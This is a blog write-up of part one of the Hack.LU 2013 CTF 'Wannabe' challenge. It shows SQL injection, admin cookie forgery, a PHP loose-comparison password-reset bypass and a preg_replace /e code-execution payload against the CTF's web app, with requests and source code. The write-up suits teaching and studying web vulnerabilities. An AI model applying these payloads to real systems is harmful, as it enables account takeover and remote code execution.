Introduction
I attended the Hack.LU conference which took place during 22-24th of October 2013. This conference is well-known for its excellent capture the flag contest created by fluxfingers, which was no different this year. By the end of the conference, there were 21 published challenges within the fields of crypto, web, reverse engineering, exploiting, internals, and miscellaneous. After completing the fairly easy ‘Pay TV’ and ‘RoboAuth’ challenges during my limited free time on the first and second day (I was attending courses rather than dedicating time to the CTF), I started focusing on a harder challenge in the evening, according to its 400 points reward: ‘Wannabe’. It was categorized as ‘exploiting’ and came with the following description:
Wannabe (Category: Exploiting)
One of our informants met a guy who calls himself Elite Arthur, he is a real jackass, and he thinks he is the best hacker alive. We got reason to believe that the robots hired him to write the firmwares for their weapons. But to write such a firmware we need the key to sign the code. Luckily for us, our informant also found his website: …. your job is to hack the server, find the flag and show this little cocksucker how skilled he really is. We count on you.
Here is your challenge: https://ctf.fluxfingers.net:1317. Alternatively, you can reach the challenge without a reverse proxy but also without SSL here: http://ctf.fluxfingers.net:1339 (offline at time of writing)
It was one of the harder challenges in the list. When the CTF came to an end, 9 teams managed to capture the right flag (see https://ctf.fluxfingers.net/scoreboard). Unfortunately, I was not amongst them, since I did not manage to finish the challenge before the CTF deadline passed. Luckily, the Fluxfingers team kept all their CTF challenges online (only the case for the HTTPS version of Wannabe at the time of writing) and I was able to complete it properly.
There were two main phases in this challenge: the first one was exploiting a web application through a number of vulnerabilities in order to get a limited shell on the system (www-data); the second phase consisted of elevating privileges from this limited shell to another user by exploiting some buffer overflows in a x64 ELF binary, of which the source code was available. The first phase is covered in this blogpost, the second phase can be found here: Hack.LU 2013 CTF Wannabe Writeup Part Two: Buffer Overflow Exploitation.
First Impressions
When browsing to the target URL, the following web application was found:
So the website had some user management, contact and upload functionality to be leveraged.
User enumeration
Attempting to login with login credentials test:test and admin:admin quickly revealed that user enumeration was possible and the user ‘admin’ was present:
A bruteforce attack on the admin user, as well as attempting to reset this user’s password via the ‘forgot password’ functionality did not deliver any fruitful results.
File Upload
The file upload functionality clearly stated that only images under 100kb may be uploaded as accompanying proof for the bug that is reported. First, a valid image ‘image.jpeg’ titled ‘FileUploadTest’ was submitted and the corresponding request was inspected in our intercepting proxy:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
POST /?site=bug&action=add HTTP/1.1 Host: ctf.fluxfingers.net:1339 [...] Cookie: user_id=6a81a356b163420e6234b41dff1e497; user_hash=bd898c9e53e18d65aa16db5081bd3f04b973004a; user_bugs=YTowOnt9; user_mac=ca9ef6d7ff1382580a61d88093becce2d808019f ------WebKitFormBoundary3z1jJXC6Md3BcVl5 Content-Disposition: form-data; name="rating" 1 ------WebKitFormBoundary3z1jJXC6Md3BcVl5 Content-Disposition: form-data; name="title" FileUploadTest ------WebKitFormBoundary3z1jJXC6Md3BcVl5 Content-Disposition: form-data; name="prove"; filename="image.jpeg" Content-Type: image/jpeg [...] |
1 2 3 4 5 6 7 |
HTTP/1.1 200 OK [...] Set-Cookie: user_id=6a81a356b163420e6234b41dff1e497 Set-Cookie: user_hash=bd898c9e53e18d65aa16db5081bd3f04b973004a Set-Cookie: user_bugs=YToxOntpOjA7aToxOTEwMjt9 Set-Cookie: user_mac=9d7ca9c7ea5352c423cbd97d53e5b5c50d8daa5e [...] |
The ‘download prove’ button is a link to address http://ctf.fluxfingers.net:1339/?site=bug&action=dl&id=19102 which triggered a download for file ‘414fb08431b1edee73094eea839e465.jpeg’ containing the same image as the uploaded image.jpeg file. Changing the value of the id parameter yielded an access violation error, basically informing us we don’t have access to download the resource corresponding with this id.
Cookies
When looking more closely to the request and response of the file upload handling, one can notice that, although four new cookie values were issued for the four cookies set earlier, only two of them actually contained a different value: user_bugs and user_mac. Assumption was made that user_id and user_hash cookies function as session cookies, so they must be maintained to keep track of the uploaded files of the current visitor of the website, while the user_bugs and user_mac cookies serve some other purpose. Further investigation pointed out that the ‘user_bugs’ cookie contains a serialized php object representing the images we are allowed to download. Base64-decoding the user_bugs file reveals the serialized PHP object containing the image id’s we are currently allowed to download:
1 2 3 |
user_bugs=YToxOntpOjA7aToxOTEwMjt9 base64decode('YToxOntpOjA7aToxOTEwMjt9') = a:1:{i:0;i:19102;} |
However, tampering with any of the cookies led to a ‘Cookie has been modified’ error message. This was probably detected on the server-side of the web application by comparing the user_mac cookie value with the decrypted value of the user_bugs cookie, the user_id and user_hash values, and possibly other unknowns. Since finding a collision in an unknown MAC algorithm seemed a bit too far off (even for fluxfingers), this route was abandoned.
File Extension
Aiming for a quick win, attempts were made to upload script files that would possibly get executed on the server-side, by replaying the upload request and only changing the extension of the filename value parameter (originally image.jpeg), but this yielded no results:
However, something interesting was identified in the upload handling function itself…
Web Vulnerabilities
SQL Injection
While replaying the upload request and adding a quote after the ‘rating’ POST, an SQL Error message was shown:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
POST /?site=bug&action=add HTTP/1.1 Host: ctf.fluxfingers.net:1339 [...] ------WebKitFormBoundaryTQRiNDtINABAl6Oi Content-Disposition: form-data; name="rating" 1' ------WebKitFormBoundaryTQRiNDtINABAl6Oi Content-Disposition: form-data; name="title" FileUploadTest ------WebKitFormBoundaryTQRiNDtINABAl6Oi Content-Disposition: form-data; name="prove"; filename="image.jpeg" Content-Type: image/jpeg [...] |
1 2 3 4 |
[...] <strong>An error occured:</strong><br /> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\','FileUploadTest','upload/ede750ccd02f872aacf679bec4a251d9.jpeg',1)' at line 1 [...] |
A couple of conclusions were made from this error message:
- This is an INSERT message, saving information about the uploaded file in the database as a record.
- The real location of the image file on disk relative to the website’s root directory is upload/ede750ccd02f872aacf679bec4a251d9.jpeg. This was verified by requesting http://ctf.fluxfingers.net:1339/upload/ede750ccd02f872aacf679bec4a251d9.jpeg, which indeed returned our uploaded image (will probably will not work anymore at this time, since the uploads are periodically removed and HTTP is offline at time of writing).
- The rating variable is not escaped properly for database interaction, but quotes are escaped for html/javascript output to \’. This implies that we will not be able to use quotes while exploiting this vulnerability.
- We control the ‘title’ and ‘path’ field of the inserted uploaded file database record.
Next to the usual database enumeration that an SQL Injection vulnerability allows, this particular flaw also allows us to download arbitrary files from disk, simply by replacing the path string. The following payloads shows how information can be retrieved from the database and the filesystem at the same time:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
[...] public function __construct($db) { if (!isset($_COOKIE['user_id'], $_COOKIE['user_hash'], $_COOKIE['user_bugs'], $_COOKIE['user_mac'])) { $this->admin = 0; $this->id = random(16); $this->hash = sha1($this->id); $this->bugs = array(); $this->mac = sha1(SIGNATURE . $this->id . $this->hash . base64_encode(serialize($this->bugs))); setcookie('user_id', $this->id); setcookie('user_hash', $this->hash); setcookie('user_bugs', base64_encode(serialize($this->bugs))); setcookie('user_mac', $this->mac); } else { $verify = SIGNATURE . $_COOKIE['user_id'] . $_COOKIE['user_hash'] . $_COOKIE['user_bugs']; if (sha1($verify) != $_COOKIE['user_mac']) { setcookie('user_id', '', time()-3600); setcookie('user_hash', '', time()-3600); setcookie('user_bugs', '', time()-3600); setcookie('user_mac', '', time()-3600); throw new Exception("Cookie has been modified"); } $this->id = $_COOKIE['user_id']; $this->hash = $_COOKIE['user_hash']; $this->mac = $_COOKIE['user_mac']; $this->admin = $db->exists("user", "WHERE userid='".mysql_real_escape_string($_COOKIE['user_id'])."' AND admin=1 LIMIT 1"); $this->bugs = unserialize(base64_decode($_COOKIE['user_bugs'])); if (!is_array($this->bugs)) $this->bugs = array(); $this->bugs = array_map('intval', $this->bugs); } } [...] |
We leveraged this knowledge to construct cookies for the admin user, since no unknown value such as a cleartext password is necessary to create them. The user_id value for user admin was obtained by exploiting the SQL injection vulnerability once more, which gave ‘e62552ab44206edaee9d25e57f6dc220’ as result. Working our way down the chain, we created the following admin cookies:
1 2 3 4 |
Set-Cookie: user_id=e62552ab44206edaee9d25e57f6dc220 Set-Cookie: user_hash=5b375be052529278bb67dac99d6cb795ee83b882 Set-Cookie: user_bugs=YTowOnt9 Set-Cookie: user_mac=2164a79df588978c62cf5a49b8cf33f0f5b995df |
By inserting these cookies in the browser, we were able to login as admin. The admin has access to the ‘control panel’, which is nothing more than a simple page where one can insert a news message. However, the cleartext password of the admin user was needed to execute this functionality, which we didn’t have. Further examination of the source code also revealed a pretty strong password policy combined with sha1, which made cracking the password an impractical approach.
Preg_replace Remote Command Execution
Since the admin panel seemed a dead end, the source code was examined for other flaws. First of all, we checked whether php object injection exploitation was possible, since the user_bugs cookie is unserialized in the User.php constructor with a cookie value which introduces an injection flaw. Unfortunately, no ‘magic methods’ were found in the web application’s source code (including Twig framework), so this was also a no-go (check vagosec’s recent blogpost about a WordPress PHP Object Injection vulnerability for a more in-depth explanation of this kind of vulnerability). Additionally, an eval() call in the include/password-policy.php was investigated, but no arguments were under attacker control. Finally, a RCE bug was found in the extension/filter.php file:
1 2 3 4 5 6 7 |
<?php require_once 'twig/lib/Twig/SimpleFilter.php'; $makestatus = new Twig_SimpleFilter('makestatus', function($string) { return preg_replace('/(red|green): (.*)/e', '\'<div style="color:$1;">\'.strtolower("$2").\'</div>\'', $string); }, array('is_safe' => array('html'))); ?> |
The flaw was tested locally with the interactive php shell phpsh and found to be working:
1 2 3 |
php> preg_replace('/(red|green): (.*)/e', '\'<div style="color:$1;">\'.strtolower("$2").\'</div>\'', 'red: {$ {print(phpinfo ())}}'); phpinfo() PHP Version => [...] |
So we went hunting for templates where the filter was used and we could control the source string. Both base.twig and lost.twig contained references to the filter, but the source string was hardcoded. Eventually, we figured out that upon previewing a newly created message as admin, the title and message parts were rendered by a twig renderer object containing the filter:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
[...] public function prevAction($db, $user) { global $twig; global $makestatus; if (!$user->isAdmin()) throw new Exception("You don't have the permission to view this site", 1); if (!isset($_POST['title'])) throw new Exception("Please enter a title"); if (!isset($_POST['text'])) throw new Exception("Please enter a text"); $data = $db->select('password', 'user', "WHERE name='admin' LIMIT 1"); if (sha1($_POST['password']) !== $data[0]['password']) throw new Exception("You need to provide your admin password before you can perform an action"); $prev = $twig->loadTemplate("panel.twig"); $out = $prev->render(array('title' => $_POST['title'], 'text' => $_POST['text'], 'author' => 'admin', 'created' => 'now', 'prev' => '1', 'admin' => $user->isAdmin())); $tmp = new Twig_Environment(new Twig_Loader_String()); $tmp->addFilter($makestatus); echo $tmp->render($out); } [...] |
The trick here is to notice that the template is rendered twice: first some attributes such as title and text are inserted in the template, and hereafter a temporary renderer object again renders this page. Triggering a filter in Twig is done according to the following syntax: {{string | filtername}}, so if we supply {{“red: {$ {print(phpinfo ())}}” | makestatus}} as title or text, we can execute arbitrary PHP!
So far for the good news. Remember that in order to reach the preview functionality, we need the cleartext password of the admin user, which we cannot guess or crack. As it turned out, another vulnerability allowed us to reset the admin’s password.
Loose Comparison Magic
The users in the database were enumerated using the SQL Injection flaw. Two users were present in the system: admin and guest. When looking to the password reset functionality, it was noticed that it consists of two stages: upon entering a username, a random reset code for this specific user is generated and saved in the database. On the next page, the user must supply this reset code, as well as a new password. The first phase is disabled for the admin account:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
[...] public function resetAction($db, $user) { global $twig; if (!isset($_GET['username'])) throw new Exception("Please specify a username to reset the password"); $username = trim(strtolower($_GET['username'])); if ($username == "admin") throw new Exception("The password of the admin user cannot be reseted"); $code = random(20); [...] |
The check here is done by comparing the username strings, which is not bypassable. However, the controller function that handles the next page (‘reset password’) checks this differently:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
[...] public function updateAction($db, $user) { $id = $_GET['id']; $pass = $_GET['pass']; $pass2 = $_GET['pass2']; $code = $_GET['code']; if (empty($pass) || empty($pass2)) throw new Exception("You must enter a new password"); if (sha1($pass) != sha1($pass2)) throw new Exception("Entered passwords don't match"); $rules = array(); $rules['min_length'] = 20; $rules['max_length'] = 64; $policy = new PasswordPolicy($rules); $policy->min_lowercase_chars = 2; $policy->min_uppercase_chars = 2; $policy->min_numeric_chars = 4; $valid = $policy->validate($pass); if (!$valid) { $msg = 'Your password does not match the criteria:<br />'; foreach ($policy->get_errors() as $k => $error) $msg .= $error . "<br />"; throw new Exception($msg); } if (empty($code)) throw new Exception("Please sepcify a reset code"); $data = $db->select("id", "user", "WHERE reset='".mysql_real_escape_string($code)."' AND reset <>''"); if (empty($data)) throw new Exception("Invalid reset code"); if ($data[0]['id'] == $id) { $reset = array( 'password' => "'".mysql_real_escape_string(sha1($pass))."'", 'reset' => "''" ); $db->update("user", $reset, "WHERE id=".intval($id)); $this->vars['complete'] = "green: Password successfully reseted"; $this->indexAction($db, $user); } else { throw new Exception("Invalid user-id specified"); } } [...] |
On line 38, the user corresponding with the provided reset code is looked up in the database. Only the guest user has a non-empty reset code in the database, so there’s no way to get around that. On line three, the id GET parameter is retrieved, which is subsequently compared with the id of the user fetched from the database. The comparison here is ‘==’. Upon inserting the new password on line 49, the same GET id parameter value is provided to the intval() function. Since the admin user’s parameter is equal to zero and the guest user is equal to one, the comparison on line 43, ‘1==$id’, should be true, while the ‘intval($id)’ value should be zero in order to reset the admin’s password instead of the one of the guest user. Turns out this is possible in PHP (great job Fluxfingers!). The vulnerability here is that the loose comparison of strings with integers in PHP is not the same as the intval() function’s ‘casting’ behaviour:
- Intval() will yield zero for every string that does not start with a decimal base number or only has a trailing +/- sign and/or zeroes before hitting a non-decimal base character (even decimal points, hex/octal/binary/power specific characters), although none of this is formally stated by its Manpage (verified empirically). This is our primary requirement.
- == will interpret the string as a number or float based on other rules, such as ‘looking as a float point’ or ‘being a hex value’ .
Floats
When supplying a string that “looks” like a float (containing a dot, e or E), the loose comparison will also convert the integer guest userid coming from the database (1) to a float. This can be leveraged in two ways:
- Supply a string that is interpreted as a float equal to one but only contains only leading zeroes before a float-specific character:
1234php> echo 1 == "0.1e1"1php> echo intval("0.1e1")0 - Supply a string that is interpreted as a float close to one but only contains leading zeroes before a float-specific character. Due to precision limitations with comparisons of floats, this will also lead to an exploitable condition (order of 1.11e-16 according to PHP him-self):
123456789php> $test = "0.9999999999999999"php> echo 1 == $testphp> echo intval($test)0php> $test = "0.99999999999999999"php> echo 1 == $test1php> echo intval($test)0
Hex format
Albeit a rather undocumented PHP ‘feature’, the loose comparison converts a string containing a hex representation (x or X are accepted) of an integer to the corresponding integer value (‘literally’):
1 2 3 4 |
php> echo 1 == "0X00000001" 1 php> echo intval("0X00000001") 0 |
Oddly enough, other literal declaration options such as binary (1 == 0b00000001) or octal (83 == “0123”) don’t work with the loose comparison, so it’s unclear to me on what base the PHP developers made this decision.
Exploitation
Finally, we have all we need to execute commands on the underlying operating system of this webserver. We first go through the first password reset phase by entering the guest username, in order to generate a fresh reset code:
We grab the reset code for the guest user via the SQL Injection flaw (SELECT reset from 6karuhf843_user WHERE …), supply a new password of at least length 20 containing at least 4 numbers, 2 lower- and 2 uppercase characters, intercept the request and alter the id GET parameter value to 0.1e1:
We get the message ‘password reset successfully’. When providing the password upon previewing a new message, we succeed. By providing a text that leverages the preg_replace RCE flaw, we finally get our code execution:
This concludes my writeup for the first phase of the challenge. Since this post turned out a bit longer than expected, you can find the writeup of the second phase (buffer overflow on Linux x64) in this post: Hack.LU 2013 CTF Wannabe Writeup Part Two: Buffer Overflow Exploitation.
Thanks for the article!